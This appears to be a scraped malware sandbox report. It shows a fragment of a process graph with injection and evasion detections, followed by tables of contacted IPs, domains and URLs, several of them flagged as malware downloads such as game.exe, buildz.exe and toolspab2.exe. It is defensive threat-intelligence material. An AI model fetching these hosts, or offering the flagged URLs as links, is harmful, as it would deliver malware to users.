62 91.219.236.97, 49846, 80 SERVERASTRA-ASHU Hungary 33->62 64 93.115.20.139, 28978, 49844 MVPShttpswwwmvpsnetEU Romania 33->64 66 4 other IPs or domains 33->66 60 C:\Users\user\AppData\LocalLow\sqlite3.dll, PE32 33->60 dropped 128 Antivirus detection for dropped file 33->128 130 Early bird code injection technique detected 33->130 132 Sample uses process hollowing technique 33->132 134 Queues an APC in another process (thread injection) 33->134 39 39F6.exe 33->39         started        42 dfsvc.exe 33->42         started        44 DataSvcUtil.exe 33->44         started        46 2 other processes 33->46 file14 signatures15 process16 file17 88 Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation)) 36->88 90 Maps a DLL or memory area into another process 36->90 92 Checks if the current machine is a virtual machine (disk enumeration) 36->92 94 Creates a thread in another existing process (thread injection) 36->94 56 C:\Users\user\AppData\Local\...\sqtvvs.exe, PE32 39->56 dropped signatures18
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.98.87.159
 privacytoolzforyou-6000.top Russian Federation
205840 VM-HOSTINGRU false
45.141.84.21
 nusurtal4f.net Russian Federation
206728 MEDIALAND-ASRU false
193.56.146.214
 unknown unknown
10753 LVLT-10753US false
162.159.130.233
 unknown United States
13335 CLOUDFLARENETUS false
91.219.236.97
 unknown Hungary
56322 SERVERASTRA-ASHU true
104.21.9.146
 toptelete.top United States
13335 CLOUDFLARENETUS false
216.128.137.31
 unknown United States
20473 AS-CHOOPAUS true
162.159.135.233
 cdn.discordapp.com United States
13335 CLOUDFLARENETUS false
176.123.228.234
 znpst.top Kyrgyzstan
59527 ASISPACEKG false
93.115.20.139
 unknown Romania
202448 MVPShttpswwwmvpsnetEU false

Private
IP
192.168.2.1

Contacted Domains

Name IP Active
privacytoolzforyou-6000.top 185.98.87.159 true
toptelete.top 104.21.9.146 true
mas.to 88.99.75.82 true
cdn.discordapp.com 162.159.135.233 true
api.2ip.ua 77.123.139.190 true
znpst.top 176.123.228.234 true
nusurtal4f.net 45.141.84.21 true
hajezey1.top 185.98.87.159 true
sysaheu90.top 185.98.87.159 true
telegalive.top unknown unknown
xacokuo8.top unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://sysaheu90.top/game.exe true
  • Avira URL Cloud: malware
 unknown
https://cdn.discordapp.com/attachments/893177342426509335/903702020781907998/4D0A6361.jpg false
    		high
    http://91.219.236.97/ true
    • Avira URL Cloud: safe
    		 unknown
    https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/AB0F9338.jpg false
      		high
      https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D0D3.jpg false
        		high
        http://nusurtal4f.net/ false
        • Avira URL Cloud: safe
        		 unknown
        http://znpst.top/dl/buildz.exe true
        • Avira URL Cloud: malware
        		 unknown
        http://toptelete.top/agrybirdsgamerept true
        • Avira URL Cloud: malware
        		 unknown
        https://cdn.discordapp.com/attachments/893177342426509335/903575517888925756/6D9E3C88.jpg false
          		high
          http://privacytoolzforyou-6000.top/downloads/toolspab2.exe true
          • Avira URL Cloud: malware
          		 unknown
          http://193.56.146.214/ false
          • Avira URL Cloud: safe
          		 unknown
          http://hajezey1.top/ true
          • Avira URL Cloud: malware
          		 unknown
          http://91.219.236.97//l/f/SZ0UyXwB3dP17Spzhll9/67689860df0c3d84c593b744292fd16b236de234 true
          • Avira URL Cloud: safe
          		 unknown
          https://cdn.discordapp.com/attachments/893177342426509335/903575519373697084/F83CB811.jpg false
            		high